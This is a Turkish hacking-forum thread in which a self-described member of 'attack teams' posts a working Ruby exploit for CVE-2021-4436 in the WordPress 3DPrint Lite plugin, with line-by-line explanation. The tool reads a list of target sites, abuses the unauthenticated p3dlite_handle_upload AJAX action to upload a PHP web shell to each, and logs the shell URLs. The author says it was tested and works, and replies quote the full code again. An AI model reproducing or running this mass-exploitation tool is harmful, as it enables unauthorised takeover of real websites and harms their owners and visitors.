Wordpress Plugin 3DPrint Lite Exploit! (CVE-2021-4436) (Asenkron)

Bunjo

Uzman üye
14 Ara 2020
1,587
1,886
I Won


oqk18ir.png


lbn20fm.png
2q250vr.png



pDHFoUY.png


Merhaba ben saldırı timlerinden Bunjo, bu konuda "Wordpress Plugin 3DPrint Lite 1.9.1.4" için bir exploit kodlayacağız.
Kodlayacağımız bu exploit zafiyetten yararlanıp karşıa tarafa bir PHP shell yükleyecek.

Zafiyet: CVE-2021-4436

Eklentinin herhangi bir yetkisi yoktur ve yüklenen dosyayı p3dlite_handle_upload AJAX işleminde kontrol etmez,
kimliği doğrulanmamış kullanıcıların web sunucusuna rastgele dosya yüklemesine olanak tanır.
Ancak dosyaya Apache gibi Web sunucularında erişilmesini engelleyen bir .htaccess var.


Ruby:
require 'optparse'
require 'httparty'
require 'eventmachine'
require 'uri'

optparse:Kütüphane, Ruby programlarına komut satırından gelen argümanları okumak ve analiz etmek için kullanılır.

httparty:HTTParty, Ruby'de HTTP istekleri göndermek ve almak için kullanılır.

eventmachine:EventMachine, olay temelli ağ uygulamaları oluşturmak için kullanılır.

uri:URI, Ruby'de Uniform Resource Identifier (URI) işlemleri yapmak için kullanılır. Bu, URL'leri düzenlemek ve analiz etmek için kullanışlıdır.


Ruby:
class D3_Print_Exploit
  def initialize
    @params = {
      input_file: nil,
      shell_file: nil,
      output_file: 'output.txt',
    }

    @vuln_urls = []
    @threads = []

    @headers = {
      'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'
    }
  end

@params: Programın çalışması için gerekli olan parametreleri içeren bir hash. Bu parametreler,
input_file (URL'lerin bulunduğu dosya), shell_file (yüklenecek shell dosyasının yolu) ve output_file (çıktı dosyasının adı) özelliklerini içerir.


@vuln_urls: Zafiyetli URL'lerin listesini tutmak için bir dizi.

@threads: Paralel işlemleri yönetmek için kullanılacak bir dizi.

@headers: HTTP isteklerine eklenen başlık bilgilerini içerir. Burada kullanılan User-Agent değeri, Mozilla Firefox tarayıcısına ait bir değeri taklit eder.


initialize metodu, sınıf bir nesne oluşturulduğunda otomatik olarak çağrılır ve sınıfın başlangıç durumunu belirler.

Ruby:
def check_site(domain)
    target_domain = URI.parse(domain)
    plugin_url = "#{target_domain.scheme}://#{target_domain.host}/wp-admin/admin-ajax.php?action=p3dlite_handle_upload"

    begin
      response = HTTParty.get(plugin_url, headers: @headers, timeout: 3)

      if response.body.include?("jsonrpc")
        response_shell = HTTParty.get(plugin_url, body: { 'file' => File.new(@params[:shell_file]) })

        if response_shell.body.include?(File.basename(@params[:shell_file]))
          File.open(@params[:output_file], "a+") do |file_manager|
            file_manager.puts("#{target_domain.scheme}://#{target_domain.host}/wp-content/uploads/p3d/#{File.basename(@params[:shell_file])}")
          end

          puts("#{plugin_url} --> Uploaded".green)
        else
          puts("#{plugin_url} --> Not Vuln".red)
        end
      else
        puts("#{plugin_url} --> Not Vuln".red)
      end
    rescue Net::OpenTimeout
      puts("#{plugin_url} --> Not Vuln".red)
    rescue StandardError => err
      puts("#{plugin_url} --> Not Vuln".red)
    end
  end

domain parametresi, kontrol edilecek olan WordPress sitesinin URL'sini temsil eder.
URI.parse(domain) ile, verilen domainin URL bileşenleri ayrıştırılır.
Oluşturulan plugin_url, eklentinin dosya yükleme işlemini gerçekleştiren URL'yi içerir.

Oluşturulan plugin_url'ye HTTP GET isteği gönderilir.

headers parametresi, HTTP isteğine eklenen başlık bilgilerini içerir.
timeout parametresi, isteğin ne kadar sürede zaman aşımına uğrayacağını belirler.

Gelen HTTP yanıtının içeriğinde "jsonrpc" ifadesi varsa, eklentinin zafiyetli olduğu düşünülerek işlemlere devam edilir.
İkinci bir HTTP GET isteği gönderilir, ancak bu sefer bir dosya yüklenmeye çalışılır.


İkinci isteğin yanıtının içeriğinde, yüklenen dosyanın adı varsa, dosyanın başarıyla yüklendiği düşünülür.
Eğer yükleme başarılı ise, ilgili bilgiler çıktıya yazdırılır.
Aksi takdirde, zafiyetin olmadığı belirtilir ve uygun mesaj çıktıya yazdırılır.

HTTP isteği sırasında zaman aşımına uğrama durumu veya genel bir hata durumunda, ilgili hata mesajları çıktıya yazdırılır.
Bu sayede, hata durumları kontrol edilir ve kullanıcıya bilgi verilir.


Ruby:
def print_help
    help_text = <<-'HELP_TEXT'
USAGE: ruby upload_checker.rb [options]

OPTIONS:
  -i, --input_file INPUT_FILE: Define the path to the URL file.
  -o, --output_file OUTPUT_FILE: Define the name of the output log file.
  -s, --shell_file SHELL_FILE: Define the path of the shell file.
    HELP_TEXT

    puts(help_text.magenta)
  end

<<-'HELP_TEXT' ve help_text: Metodun içinde <<-'HELP_TEXT' ifadesi ile başlayan çok satırlı bir string (metin) ifadesi tanımlanır. Bu string, help_text değişkenine atanır.

Programın alabileceği seçenekleri ve bu seçeneklerin açıklamalarını içerir. Her seçenek, kısa ve uzun formda (-i ve --input_file gibi) belirtilir.
Açıklamalarda, her bir seçeneğin ne işe yaradığı ve nasıl kullanılması gerektiği belirtilir.

Ruby:
def opt_parser
    begin
      OptionParser.new do |opts|
        opts.on "-i", "--input_file INPUT_FILE" do |input_file|
          if File.exist?(input_file)
            @params[:input_file] = input_file
          else
            puts("File not found: #{input_file}".red)
            exit(1)
          end
        end

        opts.on "-s", "--shell_file INPUT_FILE" do |shell_file|
          if File.exist?(shell_file)
            @params[:shell_file] = shell_file
          else
            puts("Shell File not found: #{shell_file}".red)
            exit(1)
          end
        end

        opts.on "-o", "--output_file OUTPUT_FILE" do |output_file|
          @params[:output_file] = output_file
        end
      end.parse!
    rescue Exception => exception
      puts("Error: #{exception}")
    end
  end


Bu metodun adı opt_parser ve komut satırı argümanlarını işleyen bir seçenek ayrıştırıcıdır.

parse_lines(group): Bu metot, bir grup satır alır ve her satırı each metodu kullanarak işler.
Her satır için, strip metodu kullanılarak önceki ve sonraki boşluklar temizlenir ve ardından stripped satır check_site metoduyla çağrılır.

main: Bu metot, programın ana giriş noktası gibi görünmektedir. opt_parser metodunu bekler.
opt_parser metodu genellikle komut satırı seçeneklerini ayrıştırmak için OptionParser gibi bir kütüphane kullanır.

opt_parser: Bu metot komut satırı seçeneklerini ayarlamak ve ayrıştırmak için kullanılır.

unless ifadesi, @params[:input_file] ve @params[:shell_file] değişkenlerinden herhangi birinin nil olup olmadığını kontrol eder.
Eğer herhangi biri nil değilse, File.readlines metodu kullanılarak dosyanın satırları okunur. Sonra bu satırlar 4'erli gruplara ayrılır ve her bir grup için bir thread başlatılır (Thread.new).

Her bir thread, parse_lines metoduyla ilgili grup satırlarını işler. Oluşturulan thread'ler @threads dizisine eklenir.
@threads.each(&:join): Bu satır, tüm thread'lerin tamamlanmasını bekler. Yani, tüm grupların satırları işlenene kadar bekler.

puts("Exploit completed.".magenta): Bu satır, işlemin tamamlandığını belirten bir mesajı yazdırır.
EM.stop: Bu satır, event loop'u (EventMachine) durdurmak için kullanılır.

Ruby:
class String
  def red
    "\e[31m#{self}\e[0m"
  end

  def green
    "\e[32m#{self}\e[0m"
  end

  def magenta
    "\e[35m#{self}\e[0m"
  end
end

EM.run do
  EM.defer do
    exploit = D3_Print_Exploit.new
    exploit.main
  end
end

String sınıfının genişletilmesi: red, green, ve magenta adında üç ayrı özel metot eklenir. Bu metotlar, ilgili renkteki ANSI kağıdı (escape kodları) kullanarak metin renklendirmesini sağlar.

EM.run do ... end: Bu blok içinde, EventMachine (EM) başlatılır ve içerideki işlemler asenkron olarak gerçekleşir.

EM.defer do ... end: Bu blok içinde, bir işlem asenkron olarak başlatılır. Bu işlemde D3_Print_Exploit sınıfından bir nesne oluşturulur (exploit = D3_Print_Exploit.new) ve main metodu çağrılır (exploit.main).

Tüm Kod:

Ruby:
require 'optparse'
require 'httparty'
require 'eventmachine'
require 'uri'

class D3_Print_Exploit
  def initialize
    @params = {
      input_file: nil,
      shell_file: nil,
      output_file: 'output.txt',
    }

    @vuln_urls = []
    @threads = []

    @headers = {
      'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'
    }
  end

  def check_site(domain)
    target_domain = URI.parse(domain)
    plugin_url = "#{target_domain.scheme}://#{target_domain.host}/wp-admin/admin-ajax.php?action=p3dlite_handle_upload"

    begin
      response = HTTParty.get(plugin_url, headers: @headers, timeout: 3)

      if response.body.include?("jsonrpc")
        response_shell = HTTParty.get(plugin_url, body: { 'file' => File.new(@params[:shell_file]) })

        if response_shell.body.include?(File.basename(@params[:shell_file]))
          File.open(@params[:output_file], "a+") do |file_manager|
            file_manager.puts("#{target_domain.scheme}://#{target_domain.host}/wp-content/uploads/p3d/#{File.basename(@params[:shell_file])}")
          end

          puts("#{plugin_url} --> Uploaded".green)
        else
          puts("#{plugin_url} --> Not Vuln".red)
        end
      else
        puts("#{plugin_url} --> Not Vuln".red)
      end
    rescue Net::OpenTimeout
      puts("#{plugin_url} --> Not Vuln".red)
    rescue StandardError
      puts("#{plugin_url} --> Not Vuln".red)
    end
  end

  def print_help
    help_text = <<-'HELP_TEXT'
USAGE: ruby upload_checker.rb [options]

OPTIONS:
  -i, --input_file INPUT_FILE: Define the path to the URL file.
  -o, --output_file OUTPUT_FILE: Define the name of the output log file.
  -s, --shell_file SHELL_FILE: Define the path of the shell file.
    HELP_TEXT

    puts(help_text.magenta)
  end

  def opt_parser
    begin
      OptionParser.new do |opts|
        opts.on "-i", "--input_file INPUT_FILE" do |input_file|
          if File.exist?(input_file)
            @params[:input_file] = input_file
          else
            puts("File not found: #{input_file}".red)
            exit(1)
          end
        end

        opts.on "-s", "--shell_file INPUT_FILE" do |shell_file|
          if File.exist?(shell_file)
            @params[:shell_file] = shell_file
          else
            puts("Shell File not found: #{shell_file}".red)
            exit(1)
          end
        end

        opts.on "-o", "--output_file OUTPUT_FILE" do |output_file|
          @params[:output_file] = output_file
        end
      end.parse!
    rescue Exception => exception
      puts("Error: #{exception}")
    end
  end

  def parse_lines(group)
    group.each do |line|
      check_site(line.strip)
    end
  end

  def main
    opt_parser

    unless @params[:input_file].nil? and @params[:shell_file].nil?
      lines = File.readlines(@params[:input_file])

      lines.each_slice(4) do |group_lines|
        @threads << Thread.new { parse_lines(group_lines) }
      end

      @threads.each(&:join)
      puts()
      puts("Exploit completed.".magenta)

      EM.stop
    else
      print_help
      EM.stop
    end
  end
end

class String
  def red
    "\e[31m#{self}\e[0m"
  end

  def green
    "\e[32m#{self}\e[0m"
  end

  def magenta
    "\e[35m#{self}\e[0m"
  end
end

EM.run do
  EM.defer do
    exploit = D3_Print_Exploit.new
    exploit.main
  end
end

Not: Zafiyetli sürüm yüklenip denenmiştir, exploit çalışmaktadır. Sunucuda ekstra bir müdahale ile "php" dosyaları engellenmişse doğal olarak exploit çalışmaz.

Okuyan herkese teşekkür ederim.

qxrcuvc.png


Github


 
Son düzenleme:

QuatrexDefacer

Black Hat Junior
15 Eki 2022
593
363
Baku


oqk18ir.png


lbn20fm.png
2q250vr.png



pDHFoUY.png


Merhaba ben saldırı timlerinden Bunjo, bu konuda "Wordpress Plugin 3DPrint Lite 1.9.1.4" için bir exploit kodlayacağız.
Kodlayacağımız bu exploit zafiyetten yararlanıp karşıa tarafa bir PHP shell yükleyecek.

Zafiyet: CVE-2021-4436

Eklentinin herhangi bir yetkisi yoktur ve yüklenen dosyayı p3dlite_handle_upload AJAX işleminde kontrol etmez,
kimliği doğrulanmamış kullanıcıların web sunucusuna rastgele dosya yüklemesine olanak tanır.
Ancak dosyaya Apache gibi Web sunucularında erişilmesini engelleyen bir .htaccess var.


Ruby:
require 'optparse'
require 'httparty'
require 'eventmachine'
require 'uri'

optparse:Kütüphane, Ruby programlarına komut satırından gelen argümanları okumak ve analiz etmek için kullanılır.

httparty:HTTParty, Ruby'de HTTP istekleri göndermek ve almak için kullanılır.

eventmachine:EventMachine, olay temelli ağ uygulamaları oluşturmak için kullanılır.

uri:URI, Ruby'de Uniform Resource Identifier (URI) işlemleri yapmak için kullanılır. Bu, URL'leri düzenlemek ve analiz etmek için kullanışlıdır.


Ruby:
class D3_Print_Exploit
  def initialize
    @params = {
      input_file: nil,
      shell_file: nil,
      output_file: 'output.txt',
    }

    @vuln_urls = []
    @threads = []

    @headers = {
      'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'
    }
  end

@params: Programın çalışması için gerekli olan parametreleri içeren bir hash. Bu parametreler,
input_file (URL'lerin bulunduğu dosya), shell_file (yüklenecek shell dosyasının yolu) ve output_file (çıktı dosyasının adı) özelliklerini içerir.


@vuln_urls: Zafiyetli URL'lerin listesini tutmak için bir dizi.

@threads: Paralel işlemleri yönetmek için kullanılacak bir dizi.

@headers: HTTP isteklerine eklenen başlık bilgilerini içerir. Burada kullanılan User-Agent değeri, Mozilla Firefox tarayıcısına ait bir değeri taklit eder.


initialize metodu, sınıf bir nesne oluşturulduğunda otomatik olarak çağrılır ve sınıfın başlangıç durumunu belirler.

Ruby:
def check_site(domain)
    target_domain = URI.parse(domain)
    plugin_url = "#{target_domain.scheme}://#{target_domain.host}/wp-admin/admin-ajax.php?action=p3dlite_handle_upload"

    begin
      response = HTTParty.get(plugin_url, headers: @headers, timeout: 3)

      if response.body.include?("jsonrpc")
        response_shell = HTTParty.get(plugin_url, body: { 'file' => File.new(@params[:shell_file]) })

        if response_shell.body.include?(File.basename(@params[:shell_file]))
          File.open(@params[:output_file], "a+") do |file_manager|
            file_manager.puts("#{target_domain.scheme}://#{target_domain.host}/wp-content/uploads/p3d/#{File.basename(@params[:shell_file])}")
          end

          puts("#{plugin_url} --> Uploaded".green)
        else
          puts("#{plugin_url} --> Not Vuln".red)
        end
      else
        puts("#{plugin_url} --> Not Vuln".red)
      end
    rescue Net::OpenTimeout
      puts("#{plugin_url} --> Not Vuln".red)
    rescue StandardError => err
      puts("#{plugin_url} --> Not Vuln".red)
    end
  end

domain parametresi, kontrol edilecek olan WordPress sitesinin URL'sini temsil eder.
URI.parse(domain) ile, verilen domainin URL bileşenleri ayrıştırılır.
Oluşturulan plugin_url, eklentinin dosya yükleme işlemini gerçekleştiren URL'yi içerir.

Oluşturulan plugin_url'ye HTTP GET isteği gönderilir.

headers parametresi, HTTP isteğine eklenen başlık bilgilerini içerir.
timeout parametresi, isteğin ne kadar sürede zaman aşımına uğrayacağını belirler.

Gelen HTTP yanıtının içeriğinde "jsonrpc" ifadesi varsa, eklentinin zafiyetli olduğu düşünülerek işlemlere devam edilir.
İkinci bir HTTP GET isteği gönderilir, ancak bu sefer bir dosya yüklenmeye çalışılır.


İkinci isteğin yanıtının içeriğinde, yüklenen dosyanın adı varsa, dosyanın başarıyla yüklendiği düşünülür.
Eğer yükleme başarılı ise, ilgili bilgiler çıktıya yazdırılır.
Aksi takdirde, zafiyetin olmadığı belirtilir ve uygun mesaj çıktıya yazdırılır.

HTTP isteği sırasında zaman aşımına uğrama durumu veya genel bir hata durumunda, ilgili hata mesajları çıktıya yazdırılır.
Bu sayede, hata durumları kontrol edilir ve kullanıcıya bilgi verilir.


Ruby:
def print_help
    help_text = <<-'HELP_TEXT'
USAGE: ruby upload_checker.rb [options]

OPTIONS:
  -i, --input_file INPUT_FILE: Define the path to the URL file.
  -o, --output_file OUTPUT_FILE: Define the name of the output log file.
  -s, --shell_file SHELL_FILE: Define the path of the shell file.
    HELP_TEXT

    puts(help_text.magenta)
  end

<<-'HELP_TEXT' ve help_text: Metodun içinde <<-'HELP_TEXT' ifadesi ile başlayan çok satırlı bir string (metin) ifadesi tanımlanır. Bu string, help_text değişkenine atanır.

Programın alabileceği seçenekleri ve bu seçeneklerin açıklamalarını içerir. Her seçenek, kısa ve uzun formda (-i ve --input_file gibi) belirtilir.
Açıklamalarda, her bir seçeneğin ne işe yaradığı ve nasıl kullanılması gerektiği belirtilir.

Ruby:
def opt_parser
    begin
      OptionParser.new do |opts|
        opts.on "-i", "--input_file INPUT_FILE" do |input_file|
          if File.exist?(input_file)
            @params[:input_file] = input_file
          else
            puts("File not found: #{input_file}".red)
            exit(1)
          end
        end

        opts.on "-s", "--shell_file INPUT_FILE" do |shell_file|
          if File.exist?(shell_file)
            @params[:shell_file] = shell_file
          else
            puts("Shell File not found: #{shell_file}".red)
            exit(1)
          end
        end

        opts.on "-o", "--output_file OUTPUT_FILE" do |output_file|
          @params[:output_file] = output_file
        end
      end.parse!
    rescue Exception => exception
      puts("Error: #{exception}")
    end
  end


Bu metodun adı opt_parser ve komut satırı argümanlarını işleyen bir seçenek ayrıştırıcıdır.

parse_lines(group): Bu metot, bir grup satır alır ve her satırı each metodu kullanarak işler.
Her satır için, strip metodu kullanılarak önceki ve sonraki boşluklar temizlenir ve ardından stripped satır check_site metoduyla çağrılır.

main: Bu metot, programın ana giriş noktası gibi görünmektedir. opt_parser metodunu bekler.
opt_parser metodu genellikle komut satırı seçeneklerini ayrıştırmak için OptionParser gibi bir kütüphane kullanır.

opt_parser: Bu metot komut satırı seçeneklerini ayarlamak ve ayrıştırmak için kullanılır.

unless ifadesi, @params[:input_file] ve @params[:shell_file] değişkenlerinden herhangi birinin nil olup olmadığını kontrol eder.
Eğer herhangi biri nil değilse, File.readlines metodu kullanılarak dosyanın satırları okunur. Sonra bu satırlar 4'erli gruplara ayrılır ve her bir grup için bir thread başlatılır (Thread.new).

Her bir thread, parse_lines metoduyla ilgili grup satırlarını işler. Oluşturulan thread'ler @threads dizisine eklenir.
@threads.each(&:join): Bu satır, tüm thread'lerin tamamlanmasını bekler. Yani, tüm grupların satırları işlenene kadar bekler.

puts("Exploit completed.".magenta): Bu satır, işlemin tamamlandığını belirten bir mesajı yazdırır.
EM.stop: Bu satır, event loop'u (EventMachine) durdurmak için kullanılır.

Ruby:
class String
  def red
    "\e[31m#{self}\e[0m"
  end

  def green
    "\e[32m#{self}\e[0m"
  end

  def magenta
    "\e[35m#{self}\e[0m"
  end
end

EM.run do
  EM.defer do
    exploit = D3_Print_Exploit.new
    exploit.main
  end
end

String sınıfının genişletilmesi: red, green, ve magenta adında üç ayrı özel metot eklenir. Bu metotlar, ilgili renkteki ANSI kağıdı (escape kodları) kullanarak metin renklendirmesini sağlar.

EM.run do ... end: Bu blok içinde, EventMachine (EM) başlatılır ve içerideki işlemler asenkron olarak gerçekleşir.

EM.defer do ... end: Bu blok içinde, bir işlem asenkron olarak başlatılır. Bu işlemde D3_Print_Exploit sınıfından bir nesne oluşturulur (exploit = D3_Print_Exploit.new) ve main metodu çağrılır (exploit.main).

Tüm Kod:

Ruby:
require 'optparse'
require 'httparty'
require 'eventmachine'
require 'uri'

class D3_Print_Exploit
  def initialize
    @params = {
      input_file: nil,
      shell_file: nil,
      output_file: 'output.txt',
    }

    @vuln_urls = []
    @threads = []

    @headers = {
      'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'
    }
  end

  def check_site(domain)
    target_domain = URI.parse(domain)
    plugin_url = "#{target_domain.scheme}://#{target_domain.host}/wp-admin/admin-ajax.php?action=p3dlite_handle_upload"

    begin
      response = HTTParty.get(plugin_url, headers: @headers, timeout: 3)

      if response.body.include?("jsonrpc")
        response_shell = HTTParty.get(plugin_url, body: { 'file' => File.new(@params[:shell_file]) })

        if response_shell.body.include?(File.basename(@params[:shell_file]))
          File.open(@params[:output_file], "a+") do |file_manager|
            file_manager.puts("#{target_domain.scheme}://#{target_domain.host}/wp-content/uploads/p3d/#{File.basename(@params[:shell_file])}")
          end

          puts("#{plugin_url} --> Uploaded".green)
        else
          puts("#{plugin_url} --> Not Vuln".red)
        end
      else
        puts("#{plugin_url} --> Not Vuln".red)
      end
    rescue Net::OpenTimeout
      puts("#{plugin_url} --> Not Vuln".red)
    rescue StandardError
      puts("#{plugin_url} --> Not Vuln".red)
    end
  end

  def print_help
    help_text = <<-'HELP_TEXT'
USAGE: ruby upload_checker.rb [options]

OPTIONS:
  -i, --input_file INPUT_FILE: Define the path to the URL file.
  -o, --output_file OUTPUT_FILE: Define the name of the output log file.
  -s, --shell_file SHELL_FILE: Define the path of the shell file.
    HELP_TEXT

    puts(help_text.magenta)
  end

  def opt_parser
    begin
      OptionParser.new do |opts|
        opts.on "-i", "--input_file INPUT_FILE" do |input_file|
          if File.exist?(input_file)
            @params[:input_file] = input_file
          else
            puts("File not found: #{input_file}".red)
            exit(1)
          end
        end

        opts.on "-s", "--shell_file INPUT_FILE" do |shell_file|
          if File.exist?(shell_file)
            @params[:shell_file] = shell_file
          else
            puts("Shell File not found: #{shell_file}".red)
            exit(1)
          end
        end

        opts.on "-o", "--output_file OUTPUT_FILE" do |output_file|
          @params[:output_file] = output_file
        end
      end.parse!
    rescue Exception => exception
      puts("Error: #{exception}")
    end
  end

  def parse_lines(group)
    group.each do |line|
      check_site(line.strip)
    end
  end

  def main
    opt_parser

    unless @params[:input_file].nil? and @params[:shell_file].nil?
      lines = File.readlines(@params[:input_file])

      lines.each_slice(4) do |group_lines|
        @threads << Thread.new { parse_lines(group_lines) }
      end

      @threads.each(&:join)
      puts()
      puts("Exploit completed.".magenta)

      EM.stop
    else
      print_help
      EM.stop
    end
  end
end

class String
  def red
    "\e[31m#{self}\e[0m"
  end

  def green
    "\e[32m#{self}\e[0m"
  end

  def magenta
    "\e[35m#{self}\e[0m"
  end
end

EM.run do
  EM.defer do
    exploit = D3_Print_Exploit.new
    exploit.main
  end
end

Not: Zafiyetli sürüm yüklenip denenmiştir, exploit çalışmaktadır. Sunucuda ekstra bir müdahale ile "php" dosyaları engellenmişse doğal olarak exploit çalışmaz.

Okuyan herkese teşekkür ederim.

qxrcuvc.png


Github


Eline sağlık.
 

ACE Veen

Uzman üye
4 Şub 2023
1,100
554
Belirsiz


oqk18ir.png


lbn20fm.png
2q250vr.png



pDHFoUY.png


Merhaba ben saldırı timlerinden Bunjo, bu konuda "Wordpress Plugin 3DPrint Lite 1.9.1.4" için bir exploit kodlayacağız.
Kodlayacağımız bu exploit zafiyetten yararlanıp karşıa tarafa bir PHP shell yükleyecek.

Zafiyet: CVE-2021-4436

Eklentinin herhangi bir yetkisi yoktur ve yüklenen dosyayı p3dlite_handle_upload AJAX işleminde kontrol etmez,
kimliği doğrulanmamış kullanıcıların web sunucusuna rastgele dosya yüklemesine olanak tanır.
Ancak dosyaya Apache gibi Web sunucularında erişilmesini engelleyen bir .htaccess var.


Ruby:
require 'optparse'
require 'httparty'
require 'eventmachine'
require 'uri'

optparse:Kütüphane, Ruby programlarına komut satırından gelen argümanları okumak ve analiz etmek için kullanılır.

httparty:HTTParty, Ruby'de HTTP istekleri göndermek ve almak için kullanılır.

eventmachine:EventMachine, olay temelli ağ uygulamaları oluşturmak için kullanılır.

uri:URI, Ruby'de Uniform Resource Identifier (URI) işlemleri yapmak için kullanılır. Bu, URL'leri düzenlemek ve analiz etmek için kullanışlıdır.


Ruby:
class D3_Print_Exploit
  def initialize
    @params = {
      input_file: nil,
      shell_file: nil,
      output_file: 'output.txt',
    }

    @vuln_urls = []
    @threads = []

    @headers = {
      'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'
    }
  end

@params: Programın çalışması için gerekli olan parametreleri içeren bir hash. Bu parametreler,
input_file (URL'lerin bulunduğu dosya), shell_file (yüklenecek shell dosyasının yolu) ve output_file (çıktı dosyasının adı) özelliklerini içerir.


@vuln_urls: Zafiyetli URL'lerin listesini tutmak için bir dizi.

@threads: Paralel işlemleri yönetmek için kullanılacak bir dizi.

@headers: HTTP isteklerine eklenen başlık bilgilerini içerir. Burada kullanılan User-Agent değeri, Mozilla Firefox tarayıcısına ait bir değeri taklit eder.


initialize metodu, sınıf bir nesne oluşturulduğunda otomatik olarak çağrılır ve sınıfın başlangıç durumunu belirler.

Ruby:
def check_site(domain)
    target_domain = URI.parse(domain)
    plugin_url = "#{target_domain.scheme}://#{target_domain.host}/wp-admin/admin-ajax.php?action=p3dlite_handle_upload"

    begin
      response = HTTParty.get(plugin_url, headers: @headers, timeout: 3)

      if response.body.include?("jsonrpc")
        response_shell = HTTParty.get(plugin_url, body: { 'file' => File.new(@params[:shell_file]) })

        if response_shell.body.include?(File.basename(@params[:shell_file]))
          File.open(@params[:output_file], "a+") do |file_manager|
            file_manager.puts("#{target_domain.scheme}://#{target_domain.host}/wp-content/uploads/p3d/#{File.basename(@params[:shell_file])}")
          end

          puts("#{plugin_url} --> Uploaded".green)
        else
          puts("#{plugin_url} --> Not Vuln".red)
        end
      else
        puts("#{plugin_url} --> Not Vuln".red)
      end
    rescue Net::OpenTimeout
      puts("#{plugin_url} --> Not Vuln".red)
    rescue StandardError => err
      puts("#{plugin_url} --> Not Vuln".red)
    end
  end

domain parametresi, kontrol edilecek olan WordPress sitesinin URL'sini temsil eder.
URI.parse(domain) ile, verilen domainin URL bileşenleri ayrıştırılır.
Oluşturulan plugin_url, eklentinin dosya yükleme işlemini gerçekleştiren URL'yi içerir.

Oluşturulan plugin_url'ye HTTP GET isteği gönderilir.

headers parametresi, HTTP isteğine eklenen başlık bilgilerini içerir.
timeout parametresi, isteğin ne kadar sürede zaman aşımına uğrayacağını belirler.

Gelen HTTP yanıtının içeriğinde "jsonrpc" ifadesi varsa, eklentinin zafiyetli olduğu düşünülerek işlemlere devam edilir.
İkinci bir HTTP GET isteği gönderilir, ancak bu sefer bir dosya yüklenmeye çalışılır.


İkinci isteğin yanıtının içeriğinde, yüklenen dosyanın adı varsa, dosyanın başarıyla yüklendiği düşünülür.
Eğer yükleme başarılı ise, ilgili bilgiler çıktıya yazdırılır.
Aksi takdirde, zafiyetin olmadığı belirtilir ve uygun mesaj çıktıya yazdırılır.

HTTP isteği sırasında zaman aşımına uğrama durumu veya genel bir hata durumunda, ilgili hata mesajları çıktıya yazdırılır.
Bu sayede, hata durumları kontrol edilir ve kullanıcıya bilgi verilir.


Ruby:
def print_help
    help_text = <<-'HELP_TEXT'
USAGE: ruby upload_checker.rb [options]

OPTIONS:
  -i, --input_file INPUT_FILE: Define the path to the URL file.
  -o, --output_file OUTPUT_FILE: Define the name of the output log file.
  -s, --shell_file SHELL_FILE: Define the path of the shell file.
    HELP_TEXT

    puts(help_text.magenta)
  end

<<-'HELP_TEXT' ve help_text: Metodun içinde <<-'HELP_TEXT' ifadesi ile başlayan çok satırlı bir string (metin) ifadesi tanımlanır. Bu string, help_text değişkenine atanır.

Programın alabileceği seçenekleri ve bu seçeneklerin açıklamalarını içerir. Her seçenek, kısa ve uzun formda (-i ve --input_file gibi) belirtilir.
Açıklamalarda, her bir seçeneğin ne işe yaradığı ve nasıl kullanılması gerektiği belirtilir.

Ruby:
def opt_parser
    begin
      OptionParser.new do |opts|
        opts.on "-i", "--input_file INPUT_FILE" do |input_file|
          if File.exist?(input_file)
            @params[:input_file] = input_file
          else
            puts("File not found: #{input_file}".red)
            exit(1)
          end
        end

        opts.on "-s", "--shell_file INPUT_FILE" do |shell_file|
          if File.exist?(shell_file)
            @params[:shell_file] = shell_file
          else
            puts("Shell File not found: #{shell_file}".red)
            exit(1)
          end
        end

        opts.on "-o", "--output_file OUTPUT_FILE" do |output_file|
          @params[:output_file] = output_file
        end
      end.parse!
    rescue Exception => exception
      puts("Error: #{exception}")
    end
  end


Bu metodun adı opt_parser ve komut satırı argümanlarını işleyen bir seçenek ayrıştırıcıdır.

parse_lines(group): Bu metot, bir grup satır alır ve her satırı each metodu kullanarak işler.
Her satır için, strip metodu kullanılarak önceki ve sonraki boşluklar temizlenir ve ardından stripped satır check_site metoduyla çağrılır.

main: Bu metot, programın ana giriş noktası gibi görünmektedir. opt_parser metodunu bekler.
opt_parser metodu genellikle komut satırı seçeneklerini ayrıştırmak için OptionParser gibi bir kütüphane kullanır.

opt_parser: Bu metot komut satırı seçeneklerini ayarlamak ve ayrıştırmak için kullanılır.

unless ifadesi, @params[:input_file] ve @params[:shell_file] değişkenlerinden herhangi birinin nil olup olmadığını kontrol eder.
Eğer herhangi biri nil değilse, File.readlines metodu kullanılarak dosyanın satırları okunur. Sonra bu satırlar 4'erli gruplara ayrılır ve her bir grup için bir thread başlatılır (Thread.new).

Her bir thread, parse_lines metoduyla ilgili grup satırlarını işler. Oluşturulan thread'ler @threads dizisine eklenir.
@threads.each(&:join): Bu satır, tüm thread'lerin tamamlanmasını bekler. Yani, tüm grupların satırları işlenene kadar bekler.

puts("Exploit completed.".magenta): Bu satır, işlemin tamamlandığını belirten bir mesajı yazdırır.
EM.stop: Bu satır, event loop'u (EventMachine) durdurmak için kullanılır.

Ruby:
class String
  def red
    "\e[31m#{self}\e[0m"
  end

  def green
    "\e[32m#{self}\e[0m"
  end

  def magenta
    "\e[35m#{self}\e[0m"
  end
end

EM.run do
  EM.defer do
    exploit = D3_Print_Exploit.new
    exploit.main
  end
end

String sınıfının genişletilmesi: red, green, ve magenta adında üç ayrı özel metot eklenir. Bu metotlar, ilgili renkteki ANSI kağıdı (escape kodları) kullanarak metin renklendirmesini sağlar.

EM.run do ... end: Bu blok içinde, EventMachine (EM) başlatılır ve içerideki işlemler asenkron olarak gerçekleşir.

EM.defer do ... end: Bu blok içinde, bir işlem asenkron olarak başlatılır. Bu işlemde D3_Print_Exploit sınıfından bir nesne oluşturulur (exploit = D3_Print_Exploit.new) ve main metodu çağrılır (exploit.main).

Tüm Kod:

Ruby:
require 'optparse'
require 'httparty'
require 'eventmachine'
require 'uri'

class D3_Print_Exploit
  def initialize
    @params = {
      input_file: nil,
      shell_file: nil,
      output_file: 'output.txt',
    }

    @vuln_urls = []
    @threads = []

    @headers = {
